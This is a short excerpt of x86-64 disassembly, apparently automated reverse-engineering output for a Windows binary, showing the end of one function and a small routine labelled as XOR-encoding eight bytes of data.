jb 0x1405f735e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405f735e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1405fd670
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x1405fd693
lea edx, [rax - 0x65]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x1405fd680
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.1405f138c
mov rax, rbx
add rsp, 0x30
pop rbx
ret